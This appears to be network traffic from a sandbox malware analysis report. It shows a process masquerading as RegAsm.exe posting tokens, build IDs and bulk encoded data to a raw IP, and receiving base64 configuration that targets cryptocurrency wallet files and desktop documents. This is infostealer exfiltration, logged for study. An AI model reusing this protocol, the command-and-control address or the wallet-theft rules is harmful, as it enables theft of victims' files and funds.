Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:21 UTC	307	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:21 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 44 48 49 44 47 48 49 44 47 49 45 43 42 4b 4b 4a 4a 0d 0a 43 6f 6e 74 Data Ascii: ------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------DGHDHIDGHIDGIECBKKJJContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------DGHDHIDGHIDGIECBKKJJCont
2024-08-30 01:18:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49794	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:23 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:23 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------AAEGHJKJKKJDHIDHJKJDCont
2024-08-30 01:18:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:23 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49795	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:25 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------CBAKJKJJJECFIEBFHIEGCont
2024-08-30 01:18:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:25 UTC	131	IN	Data Raw: 37 38 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 66 44 55 77 66 47 5a 68 62 48 4e 6c 66 43 70 33 61 57 35 6b 62 33 64 7a 4b 6e 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 78RGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp8ZGVza3RvcHwlREVTS1RPUCVcfCoudHh0fDUwfGZhbHNlfCp3aW5kb3dzKnw=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49797	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:27 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 457 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:27 UTC	457	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 46 42 47 43 47 49 4a 4b 4a 4a 4b 46 49 44 42 46 43 0d 0a 43 6f 6e 74 Data Ascii: ------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------GCBFBGCGIJKJJKFIDBFCContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------GCBFBGCGIJKJJKFIDBFCCont
2024-08-30 01:18:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49799	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:29 UTC	309	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 131609 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4a 4b 46 43 42 47 49 44 47 48 49 45 43 47 43 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------EHJJKFCBGIDGHIECGCBKContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------EHJJKFCBGIDGHIECGCBKCont
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 32 64 4d 65 2f 4a 36 31 35 6a 58 74 75 67 32 57 71 53 66 42 43 61 33 6a 56 58 76 4c 69 4b 55 57 6b 5a 34 63 77 6c 73 73 6f 37 6b 6b 42 79 42 39 4b 38 53 72 65 74 46 4a 52 61 58 51 38 7a 4c 36 6b 70 79 71 71 55 72 32 6c 59 4b 36 54 77 31 2f 71 4a 68 2f 74 66 30 46 63 33 58 52 2b 47 76 39 54 4e 2f 76 66 34 56 36 6e 44 2f 77 44 76 79 39 47 65 48 78 78 2f 79 4b 4a 65 73 66 7a 4e 33 46 4c 52 52 58 36 41 66 69 59 6c 46 47 4b 4d 55 44 50 61 5a 6f 55 6d 58 44 63 48 73 77 36 69 73 37 42 53 52 6b 4a 7a 74 4a 46 61 68 4e 5a 54 6e 2f 53 5a 66 39 38 2f 7a 72 38 5a 72 4a 62 6e 37 42 41 73 49 61 38 73 31 66 38 41 35 44 56 2f 2f 77 42 66 45 6e 2f 6f 52 72 31 47 4d 31 35 64 71 2f 38 41 79 47 72 37 2f 72 34 6b 2f 77 44 51 6a 58 31 50 42 2f 38 41 47 71 65 69 2f 4d 2b 57 34 Data Ascii: 2dMe/J615jXtug2WqSfBCa3jVXvLiKUWkZ4cwlsso7kkByB9K8SretFJRaXQ8zL6kpyqqUr2lYK6Tw1/qJh/tf0Fc3XR+Gv9TN/vf4V6nD/wDvy9GeHxx/yKJesfzN3FLRRX6AfiYlFGKMUDPaZoUmXDcHsw6is7BSRkJztJFahNZTn/SZf98/zr8ZrJbn7BAsIa8s1f8A5DV//wBfEn/oRr1GM15dq/8AyGr7/r4k/wDQjX1PB/8AGqei/M+W4
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 48 6e 75 70 52 47 44 65 54 74 79 46 2b 63 44 4f 65 6f 72 67 57 48 70 70 57 61 75 65 6e 50 4e 4d 56 4b 62 6c 47 56 6c 30 53 32 53 36 4a 4c 62 51 58 34 69 2f 77 44 49 69 61 6c 2f 32 79 2f 39 47 70 58 6c 33 4e 65 6f 2f 45 58 2f 41 4a 45 54 55 76 38 41 74 6c 2f 36 4e 53 76 4c 36 2b 67 79 4c 2b 4c 56 39 49 2f 2b 33 48 79 6e 45 2f 38 41 75 57 47 2f 78 56 50 79 70 43 55 55 55 56 39 49 66 46 68 52 52 52 51 41 6c 46 4c 52 51 4d 42 52 52 52 51 41 47 6b 70 61 53 67 41 70 44 53 30 55 41 4a 52 52 52 51 41 55 55 55 55 44 45 6f 70 54 53 55 41 4a 52 53 30 6d 4b 59 42 53 55 74 46 41 43 55 55 74 46 41 78 4b 4b 4b 4b 41 41 30 55 55 6c 4d 41 6f 4e 46 46 41 78 4b 4b 55 30 6c 41 43 55 55 74 4a 54 47 46 46 46 46 41 42 53 55 74 48 4e 41 43 59 70 4b 58 74 52 54 47 4a 52 51 61 4b Data Ascii: HnupRGDeTtyF+cDOeorgWHppWauenPNMVKblGVl0S2S6JLbQX4i/wDIial/2y/9GpXl3Neo/EX/AJETUv8Atl/6NSvL6+gyL+LV9I/+3HynE/8AuWG/xVPypCUUUV9IfFhRRRQAlFLRQMBRRRQAGkpaSgApDS0UAJRRRQAUUUUDEopTSUAJRS0mKYBSUtFACUUtFAxKKKKAA0UUlMAoNFFAxKKU0lACUUtJTGFFFFABSUtHNACYpKXtRTGJRQaK
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 4a 66 52 79 73 36 4e 45 37 6d 45 53 6c 4e 75 77 46 51 52 6b 41 37 6a 7a 6a 69 73 69 32 46 78 46 5a 32 6a 66 32 54 4f 4e 53 73 37 65 35 74 34 5a 6a 64 66 75 53 73 7a 53 4d 53 30 65 7a 4a 49 45 68 48 33 77 4f 41 53 4f 31 50 65 4f 5a 72 56 44 42 70 6b 30 4f 70 4c 70 36 57 48 32 69 53 35 44 78 71 71 78 43 49 75 71 62 41 51 78 55 48 71 7a 41 5a 50 47 63 45 5a 78 6c 6d 46 75 76 39 58 2f 41 4f 41 62 54 68 6c 4e 39 4f 57 33 36 61 66 38 45 32 2f 4e 74 6e 6e 30 4d 51 79 79 76 46 66 4e 5a 78 33 51 34 33 51 50 4f 71 73 70 48 48 33 53 47 49 47 52 31 51 30 32 47 5a 6e 30 4f 7a 76 56 30 33 56 5a 68 63 4c 4b 57 75 30 78 35 45 4a 53 5a 34 77 47 78 47 65 53 46 42 2b 38 4f 74 5a 65 6c 2f 62 4e 4f 31 32 31 31 59 32 43 7a 4c 62 32 74 74 61 79 57 6b 6b 6e 79 7a 43 46 55 32 74 Data Ascii: JfRys6NE7mESlNuwFQRkA7jzjisi2FxFZ2jf2TONSs7e5t4ZjdfuSszSMS0ezJIEhH3wOASO1PeOZrVDBpk0OpLp6WH2iS5DxqqxCIuqbAQxUHqzAZPGcEZxlmFuv9X/AOAbThlN9OW36af8E2/Ntnn0MQyyvFfNZx3Q43QPOqspHH3SGIGR1Q02GZn0OzvV03VZhcLKWu0x5EJSZ4wGxGeSFB+8OtZel/bNO1211Y2CzLb2ttayWkknyzCFU2t
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 36 76 2b 56 48 32 2b 44 31 66 38 71 4c 4d 43 31 78 52 6d 71 6e 32 2b 44 2f 41 47 2f 79 6f 2f 74 47 44 50 56 2f 79 70 32 59 37 46 75 6a 4e 56 50 37 52 74 2f 56 2f 77 41 71 50 37 52 67 2f 77 42 76 38 71 4c 4d 4c 46 71 55 5a 73 37 72 2f 72 6c 2f 55 56 6e 36 61 63 54 74 2f 75 30 2b 54 55 59 6a 62 79 6f 6d 37 4c 72 74 35 48 75 44 56 61 7a 75 45 74 35 57 5a 38 34 4b 34 34 6f 6a 46 70 4d 56 6a 58 6f 71 72 2f 61 46 76 6a 71 2f 35 55 6e 39 6f 32 2f 39 35 76 79 6f 73 78 32 4c 65 61 58 4e 55 2f 37 51 74 73 2f 65 66 38 71 58 2b 30 62 62 2b 38 33 2f 41 48 7a 52 5a 68 59 74 55 48 70 56 54 2b 30 62 58 2b 38 33 2f 66 4e 48 39 70 57 33 39 35 76 2b 2b 61 4c 4d 64 69 33 52 56 54 2b 30 62 62 2b 38 2f 77 44 33 7a 52 2f 61 4e 74 2f 65 66 2f 76 6d 69 7a 43 7a 4c 65 66 53 6c 71 Data Ascii: 6v+VH2+D1f8qLMC1xRmqn2+D/AG/yo/tGDPV/yp2Y7FujNVP7Rt/V/wAqP7Rg/wBv8qLMLFqUZs7r/rl/UVn6acTt/u0+TUYjbyom7Lrt5HuDVazuEt5WZ84K44ojFpMVjXoqr/aFvjq/5Un9o2/95vyosx2LeaXNU/7Qts/ef8qX+0bb+83/AHzRZhYtUHpVT+0bX+83/fNH9pW395v++aLMdi3RVT+0bb+8/wD3zR/aNt/ef/vmizCzLefSlq
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 6f 47 46 42 6f 70 4b 41 46 6f 7a 53 55 55 77 44 46 48 74 52 53 55 41 4c 6d 69 69 6b 6f 41 57 69 69 69 67 41 6f 6f 6f 2f 79 4b 59 77 47 63 55 5a 6f 6f 6f 75 49 63 4b 74 36 63 50 33 30 6e 74 45 2f 38 71 71 56 62 30 2f 38 41 31 73 6e 2f 41 46 78 66 2b 56 54 56 2b 42 6b 56 50 68 4f 48 66 37 78 70 76 30 78 53 76 39 34 34 70 68 72 71 36 48 62 48 59 4f 76 2f 41 4e 61 6d 6b 55 34 30 77 39 4b 6b 6f 44 2b 52 70 44 2b 4e 4c 30 70 4f 74 46 79 68 43 54 51 66 59 30 45 5a 70 4b 54 47 47 4b 51 38 30 76 66 33 7a 53 45 30 68 69 64 4f 4b 54 6e 48 30 6f 34 6f 6f 47 67 70 4f 33 76 53 30 6e 65 6b 4d 43 4d 55 33 72 54 71 54 6f 4f 6e 4e 41 78 42 31 6f 36 55 6e 71 61 4b 41 50 52 61 4b 61 4a 4c 75 4c 37 52 64 57 6d 6b 7a 36 71 31 6e 45 48 2b 79 77 77 74 4b 5a 47 5a 67 71 67 71 6f Data Ascii: oGFBopKAFozSUUwDFHtRSUALmiikoAWiiigAooo/yKYwGcUZooouIcKt6cP30ntE/8qqVb0/8A1sn/AFxf+VTV+BkVPhOHf7xpv0xSv944phrq6HbHYOv/ANamkU40w9KkoD+RpD+NL0pOtFyhCTQfY0EZpKTGGKQ80vf3zSE0hidOKTnH0o4ooGgpO3vS0nekMCMU3rTqToOnNAxB1o6UnqaKAPRaKaJLuL7RdWmkz6q1nEH+ywwtKZGZgqgqo
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 70 65 4b 53 6c 35 6f 41 4b 53 6c 70 4b 41 46 6f 6f 70 4b 41 46 34 6f 70 4b 4b 42 43 30 55 6c 46 41 43 38 55 55 6c 46 49 59 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 6c 46 46 4d 41 6f 6f 6f 6f 75 41 55 55 55 55 67 43 69 69 69 67 59 55 6c 4c 53 55 77 43 69 69 69 6b 41 55 68 70 61 51 30 77 43 69 69 69 67 41 70 4b 57 6b 6f 41 4b 4b 4b 4b 42 68 53 55 74 4a 54 41 4b 4b 4b 4b 41 43 6b 70 54 53 55 44 43 69 69 69 67 42 4b 4b 4b 4b 42 6f 44 53 55 70 70 4b 41 43 6b 70 61 53 67 59 55 55 55 55 41 4a 52 52 33 6f 6f 47 4a 6e 6d 69 67 39 61 4b 42 68 52 52 52 51 41 6c 46 46 48 65 67 59 6c 46 46 46 41 43 55 55 55 55 78 69 5a 35 6f 6f 37 30 55 41 46 4a 52 52 51 41 55 5a 70 4b 4b 42 32 46 7a 53 45 30 55 47 67 59 6c 4a 53 30 Data Ascii: ooAKKKKACiiigApeKSl5oAKSlpKAFoopKAF4opKKBC0UlFAC8UUlFIYUUUUAFFFFABRRRQAUlFFMAoooouAUUUUgCiiigYUlLSUwCiiikAUhpaQ0wCiiigApKWkoAKKKKBhSUtJTAKKKKACkpTSUDCiiigBKKKKBoDSUppKACkpaSgYUUUUAJRR3ooGJnmig9aKBhRRRQAlFFHegYlFFFACUUUUxiZ5oo70UAFJRRQAUZpKKB2FzSE0UGgYlJS0
2024-08-30 01:18:29 UTC	16355	OUT	Data Raw: 34 55 31 2f 31 48 2f 2f 41 43 54 2f 41 50 73 36 38 6a 46 2f 56 31 55 66 74 4a 57 62 58 62 38 66 77 50 75 73 48 55 6e 56 70 4b 56 4a 58 56 2f 36 52 69 65 45 37 38 36 6e 38 57 34 37 37 4f 52 50 50 63 4f 76 73 44 47 2b 42 2b 57 4b 39 43 33 36 35 2f 7a 79 38 55 66 6e 70 6e 2b 4e 5a 33 68 72 34 5a 6a 77 39 72 31 76 71 68 31 59 33 42 67 44 59 6a 46 76 73 7a 75 55 72 31 33 48 31 72 76 71 38 37 47 34 69 6e 4b 6f 6e 53 73 30 6b 6c 74 36 6e 66 68 71 55 31 42 38 2b 6a 75 63 66 72 68 75 6a 34 47 31 44 37 59 74 2b 73 6e 6d 78 34 2b 33 65 52 76 78 76 54 70 35 50 79 34 36 39 65 65 76 62 46 65 63 56 36 78 34 31 2f 35 46 4b 39 2b 73 66 2f 6f 78 61 38 6e 72 30 4d 6e 64 34 54 66 6d 66 4e 38 52 71 31 53 6d 76 49 4b 4b 4b 4b 39 67 2b 62 73 46 4a 53 30 68 6f 41 4b 4b 4b 4b 41 Data Ascii: 4U1/1H//ACT/APs68jF/V1UftJWbXb8fwPusHUnVpKVJXV/6RieE786n8W477ORPPcOvsDG+B+WK9C365/zy8Ufnpn+NZ3hr4Zjw9r1vqh1Y3BgDYjFvszuUr13H1rvq87G4inKonSs0klt6nfhqU1B8+jucfrhuj4G1D7Yt+snmx4+3eRvxvTp5Py469eevbFecV6x41/5FK9+sf/oxa8nr0Mnd4TfmfN8Rq1SmvIKKKK9g+bsFJS0hoAKKKKA
2024-08-30 01:18:29 UTC	769	OUT	Data Raw: 66 52 39 49 31 71 7a 30 6d 34 6b 69 76 64 42 73 37 65 33 53 61 33 62 44 4a 4a 4a 4d 44 63 73 70 48 4f 53 32 31 4d 2b 69 34 72 68 46 38 54 61 34 6f 74 31 62 56 72 79 57 4f 33 6e 46 78 46 46 4e 4d 5a 49 31 6c 79 57 33 37 47 79 75 63 6b 6e 4f 4f 35 71 74 61 61 74 71 4e 68 66 4e 66 57 56 2f 64 57 31 32 32 63 7a 77 54 4d 6a 6e 50 58 35 67 63 38 30 72 44 75 65 32 58 61 74 61 36 68 4c 70 30 51 38 6d 54 56 5a 72 73 69 31 69 58 39 78 64 53 6d 32 55 53 4c 63 66 33 51 6b 68 59 6a 41 62 6e 4f 64 76 33 71 34 4b 46 64 56 30 32 48 53 4e 44 30 61 36 2b 78 33 71 77 50 71 56 39 63 68 74 76 32 66 65 6e 44 46 68 6b 72 73 68 77 63 6a 6e 35 32 41 35 50 50 4a 77 61 37 71 39 74 62 58 46 74 42 71 6c 37 48 62 33 52 4c 58 45 4b 54 73 45 6d 4a 36 37 31 7a 68 73 39 38 35 70 79 2b 49 Data Ascii: fR9I1qz0m4kivdBs7e3Sa3bDJJJMDcspHOS21M+i4rhF8Ta4ot1bVryWO3nFxFFNMZI1lyW37GyucknOO5qtaatqNhfNfWV/dW122czwTMjnPX5gc80rDue2Xata6hLp0Q8mTVZrsi1iX9xdSm2USLcf3QkhYjAbnOdv3q4KFdV02HSND0a6+x3qwPqV9chtv2fenDFhkrshwcjn52A5PPJwa7q9tbXFtBql7Hb3RLXEKTsEmJ671zhs985py+I
2024-08-30 01:18:30 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:30 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49802	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:31 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
